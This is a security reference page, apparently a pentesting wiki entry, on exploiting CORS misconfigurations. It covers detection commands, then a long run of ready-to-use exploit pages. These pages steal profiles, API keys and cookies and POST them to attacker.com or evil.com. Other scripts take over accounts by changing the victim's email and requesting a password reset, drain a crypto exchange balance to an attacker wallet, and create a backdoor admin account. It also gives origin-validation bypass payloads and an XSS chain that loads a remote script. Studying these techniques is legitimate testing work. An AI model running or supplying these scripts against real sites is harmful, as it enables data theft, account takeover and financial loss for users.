CORS Misconfiguration
Cross-Origin Resource Sharing (CORS) Misconfiguration is a web security vulnerability that occurs when a web application improperly configures its CORS policy, allowing unauthorized domains to access sensitive resources. This can lead to data theft, account compromise, and unauthorized actions.
How It Works
CORS is a browser security feature that restricts web pages from making requests to a different domain than the one serving the page. When misconfigured, it can allow malicious sites to read sensitive data:
// Vulnerable CORS configuration on server
Access-Control-Allow-Origin: https://attacker.com
Access-Control-Allow-Credentials: true
// Attacker's page can now read sensitive data
fetch('https://victim-site.com/api/user', {
credentials: 'include'
}).then(r => r.json()).then(data => {
// Send stolen data to attacker
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
Detection
Manual Testing
Basic CORS Tests
Testing for CORS misconfigurations:
# Step 1: Make request with Origin header
curl -H "Origin: https://evil.com" \
https://target.com/api/user \
-v
# Step 2: Check response headers
# Look for:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
# Step 3: If both present: Vulnerable
# Attacker domain can read response with credentials
# Step 4: Test wildcard
curl -H "Origin: https://random-domain.com" \
https://target.com/api/user \
-v
# If ACAO reflects any origin: Misconfigured
Credential Test
Testing if credentials are allowed:
# Send Origin with credentials request
curl -H "Origin: https://evil.com" \
-H "Cookie: session=abc123" \
https://target.com/api/sensitive \
-v
# Check for both headers:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
# If both present: High severity vulnerability
# Attacker can steal data while victim is logged in
Null Origin Test
Testing null origin acceptance:
# Some apps allow null origin
curl -H "Origin: null" \
https://target.com/api/user \
-v
# Check response:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
# If both present: Vulnerable
# Can be exploited via sandboxed iframe
Subdomain Test
Testing subdomain trust:
# If target.com has subdomain CORS
curl -H "Origin: https://attacker.target.com" \
https://target.com/api/user \
-v
# Or any subdomain:
curl -H "Origin: https://evil.target.com" \
https://target.com/api/user \
-v
# If ACAO reflects subdomain: Vulnerable
# Attacker who controls any subdomain can exploit
Pre-flight Request Test
Testing preflight OPTIONS request:
# OPTIONS request before actual request
curl -X OPTIONS \
-H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: POST" \
-H "Access-Control-Request-Headers: Content-Type" \
https://target.com/api/update \
-v
# Check response:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Methods: POST, GET, OPTIONS
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 3600
# If allows attacker origin: Vulnerable
Automated Discovery
Using Burp Suite
# Step 1: Configure Burp to test CORS
# Proxy > Options > Match and Replace
# Add rule:
# Type: Request header
# Match: ^Origin: .*
# Replace: Origin: https://evil.com
# Step 2: Browse application
# Check for ACAO headers in responses
# Step 3: Use Burp Extensions
# Install: CORS Scanner
# Install: CORScanner
# Install: Corsy
# Step 4: Send interesting requests to Repeater
# Add Origin header
# Test different origin values
Using CORScanner
# Basic scan
python cors_scan.py -u https://target.com
# Scan specific endpoint
python cors_scan.py -u https://target.com/api/user
# With authentication
python cors_scan.py -u https://target.com/api/user \
-H "Cookie: session=abc123"
# Scan from file
python cors_scan.py -i urls.txt \
-o results.json
# Advanced options
python cors_scan.py -u https://target.com \
-t 20 \
--headers "Authorization: Bearer TOKEN" \
--verbose
Using Custom Scripts
# Python CORS testing script
import requests
def test_cors(url, origin):
headers = {
'Origin': origin,
'Cookie': 'session=your_session' # If testing authenticated endpoint
}
response = requests.get(url, headers=headers)
acao = response.headers.get('Access-Control-Allow-Origin')
acac = response.headers.get('Access-Control-Allow-Credentials')
if acao and origin in acao:
if acac == 'true':
return 'VULNERABLE', f'ACAO: {acao}, ACAC: {acac}'
else:
return 'REFLECTED', f'ACAO: {acao} (no credentials)'
elif acao == '*':
if acac == 'true':
return 'INVALID', 'Wildcard with credentials (browser blocks this)'
else:
return 'WILDCARD', 'Wildcard ACAO (no credentials)'
return 'SECURE', 'No CORS misconfiguration detected'
# Test different origins
target = "https://target.com/api/user"
origins_to_test = [
"https://evil.com",
"https://attacker.target.com",
"http://target.com",
"null",
"https://target.com.evil.com"
]
for origin in origins_to_test:
status, details = test_cors(target, origin)
print(f"[{status}] Origin: {origin} - {details}")
Attack Vectors
Reflected Origin Exploit
Exploiting reflected origin headers:
<!-- Attacker's page at https://evil.com -->
<html>
<body>
<h1>Loading...</h1>
<script>
// Victim visits this page while logged into target.com
fetch('https://target.com/api/user/profile', {
credentials: 'include' // Send cookies
})
.then(response => response.json())
.then(data => {
// Steal sensitive data
console.log('Stolen data:', data);
// Send to attacker's server
fetch('https://attacker.com/collect', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
victim_data: data,
cookies: document.cookie
})
});
// Optional: redirect to hide attack
setTimeout(() => {
window.location = 'https://target.com';
}, 500);
});
</script>
</body>
</html>
Null Origin Exploit
Exploiting null origin acceptance:
<!-- Null origin can be triggered via sandboxed iframe -->
<html>
<body>
<iframe sandbox="allow-scripts allow-top-navigation"
srcdoc="
<script>
fetch('https://target.com/api/user', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
// Send stolen data to parent
parent.postMessage(data, '*');
});
</script>
"></iframe>
<script>
// Receive stolen data
window.addEventListener('message', (event) => {
console.log('Stolen data:', event.data);
// Send to attacker server
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify(event.data)
});
});
</script>
</body>
</html>
Subdomain Takeover Chain
Chaining subdomain takeover with CORS:
# Step 1: Find vulnerable subdomain
# old.target.com points to deleted S3 bucket
# Step 2: Take over subdomain
# Create S3 bucket with same name
# Host malicious page
# Step 3: Exploit CORS
# If target.com allows *.target.com origins
# Your malicious page at old.target.com can:
<script>
fetch('https://target.com/api/admin', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
// Steal admin data
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});
</script>
Pre-flight Bypass
Exploiting missing preflight checks:
<script>
// Simple requests don't trigger preflight
// Content-Type: text/plain doesn't trigger preflight
fetch('https://target.com/api/update', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'text/plain'
},
body: JSON.stringify({
email: 'attacker@evil.com',
role: 'admin'
})
});
// If server parses JSON regardless of Content-Type
// Attack succeeds without preflight check
</script>
Credential Theft
Stealing user credentials and tokens:
// Attacker's page
<script>
// Steal user profile
fetch('https://target.com/api/user/profile', {
credentials: 'include'
})
.then(r => r.json())
.then(profile => {
// Steal API keys
return fetch('https://target.com/api/keys', {
credentials: 'include'
})
.then(r => r.json())
.then(keys => {
// Combine all stolen data
return {
profile: profile,
api_keys: keys,
cookies: document.cookie
};
});
})
.then(allData => {
// Send everything to attacker
fetch('https://attacker.com/collect', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(allData)
});
});
</script>
Bypass Techniques
Origin Manipulation
Bypassing origin validation:
# If validation checks for "target.com"
# Subdomain confusion
Origin: https://target.com.evil.com
Origin: https://evil.target.com
# Using @ symbol
Origin: https://target.com@evil.com
# Port manipulation
Origin: https://target.com:8080
Origin: https://target.com:443
# Protocol variation
Origin: http://target.com
Origin: https://target.com
# With path
Origin: https://target.com/any/path
# (Origin shouldn't have path, but some parsers allow it)
Null Origin Bypass
Exploiting null origin:
<!-- Method 1: Sandboxed iframe -->
<iframe sandbox="allow-scripts" srcdoc="
<script>
fetch('https://target.com/api/data', {
credentials: 'include'
}).then(r => r.json()).then(data => {
parent.postMessage(data, '*');
});
</script>
"></iframe>
<!-- Method 2: Data URI -->
<iframe src="data:text/html,
<script>
fetch('https://target.com/api/data', {
credentials: 'include'
}).then(r => r.json()).then(console.log);
</script>
"></iframe>
<!-- Method 3: File protocol (local file) -->
<!-- Save as file and open in browser -->
Regex Bypass
Bypassing regex-based validation:
# If regex checks: /^https?:\/\/[\w.]*target\.com$/
# Subdomain bypass
Origin: https://evil.target.com
Origin: https://target.com.evil.com
# Character injection
Origin: https://target.com%0D%0AEvil: header
# Null byte (old systems)
Origin: https://target.com%00.evil.com
# Backtick (if not escaped in regex)
Origin: https://target`.com.evil.com
# Unicode characters
Origin: https://target․com # Using unicode dot
Origin: https://tаrget.com # Using Cyrillic 'а'
Pre-flight Bypass
Bypassing preflight OPTIONS checks:
// Simple requests don't require preflight:
// - Methods: GET, HEAD, POST
// - Headers: Accept, Accept-Language, Content-Language,
// Content-Type (with restrictions)
// - Content-Type: application/x-www-form-urlencoded,
// multipart/form-data, text/plain
// Exploit: Use simple request when server doesn't check
fetch('https://target.com/api/delete', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'text/plain'
},
body: 'action=delete&id=123'
});
// Or use GET for state-changing operation
fetch('https://target.com/api/delete?id=123', {
credentials: 'include'
});
Wildcard Bypass
Exploiting wildcard configurations:
# Access-Control-Allow-Origin: * is insecure but...
# Can't be used with credentials
# But if app dynamically sets ACAO:
if (origin) {
response.setHeader('Access-Control-Allow-Origin', origin);
response.setHeader('Access-Control-Allow-Credentials', 'true');
}
# This reflects any origin - vulnerable!
# Test with:
Origin: https://evil.com
# If reflected with credentials: Vulnerable
XSS to CORS Chain
Chaining XSS with CORS:
// If CORS blocks external origins
// But XSS exists on subdomain
// XSS on sub.target.com:
<script src="https://evil.com/steal.js"></script>
// steal.js:
fetch('https://target.com/api/admin', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
fetch('https://evil.com/collect', {
method: 'POST',
body: JSON.stringify(data)
});
});
// Works because request originates from sub.target.com
// which might be in CORS whitelist
Post-Exploitation
Complete Account Takeover
Full account compromise via CORS:
<html>
<body>
<script>
// Step 1: Get user profile
fetch('https://target.com/api/user/profile', {
credentials: 'include'
})
.then(r => r.json())
.then(profile => {
console.log('[+] Got profile:', profile);
// Step 2: Change email to attacker's
return fetch('https://target.com/api/user/email', {
method: 'PUT',
credentials: 'include',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
email: 'attacker@evil.com'
})
});
})
.then(() => {
console.log('[+] Email changed');
// Step 3: Request password reset
return fetch('https://target.com/api/password/reset', {
method: 'POST',
credentials: 'include'
});
})
.then(() => {
console.log('[+] Password reset sent to attacker email');
console.log('[+] Account takeover complete');
});
</script>
</body>
</html>
Data Exfiltration
Systematic data extraction:
// Comprehensive data theft script
const stealData = async () => {
const stolen = {};
// Steal profile
stolen.profile = await fetch('https://target.com/api/user', {
credentials: 'include'
}).then(r => r.json());
// Steal contacts
stolen.contacts = await fetch('https://target.com/api/contacts', {
credentials: 'include'
}).then(r => r.json());
// Steal messages
stolen.messages = await fetch('https://target.com/api/messages', {
credentials: 'include'
}).then(r => r.json());
// Steal payment methods
stolen.payments = await fetch('https://target.com/api/payment-methods', {
credentials: 'include'
}).then(r => r.json());
// Steal API keys
stolen.keys = await fetch('https://target.com/api/keys', {
credentials: 'include'
}).then(r => r.json());
// Exfiltrate all data
await fetch('https://attacker.com/collect', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(stolen)
});
console.log('[+] Data exfiltration complete');
};
stealData();
Cryptocurrency Theft
Stealing crypto wallets and keys:
<script>
// Target crypto exchange with CORS misconfiguration
fetch('https://crypto-exchange.com/api/wallet', {
credentials: 'include'
})
.then(r => r.json())
.then(wallet => {
// Get wallet address
console.log('Wallet:', wallet.address);
console.log('Balance:', wallet.balance);
// Initiate withdrawal to attacker's address
return fetch('https://crypto-exchange.com/api/withdraw', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
address: 'attacker_wallet_address',
amount: wallet.balance,
currency: 'BTC'
})
});
})
.then(r => r.json())
.then(result => {
console.log('[+] Withdrawal initiated:', result);
});
</script>
Admin Panel Access
Accessing administrative functions:
<script>
// Check if user has admin access
fetch('https://target.com/api/admin/users', {
credentials: 'include'
})
.then(r => {
if (r.status === 200) {
return r.json();
}
throw new Error('Not admin');
})
.then(users => {
console.log('[+] Admin access confirmed');
console.log('[+] User list:', users);
// Create backdoor admin account
return fetch('https://target.com/api/admin/users', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
username: 'backdoor',
password: 'backdoor123',
role: 'admin',
email: 'backdoor@evil.com'
})
});
})
.then(() => {
console.log('[+] Backdoor account created');
})
.catch(err => {
console.log('[-] Not admin:', err);
});
</script>
Common Tools
Tool | Description | Primary Use Case |
---|---|---|
CORScanner | CORS misconfiguration scanner | Automated detection |
Burp Suite | Web vulnerability scanner | Manual testing |
Corsy | CORS scanner | Quick scanning |
CORS Everywhere | Browser extension | Manual testing |
Origin Checker | Browser extension | Quick CORS checks |
curl | Command-line tool | Manual header testing |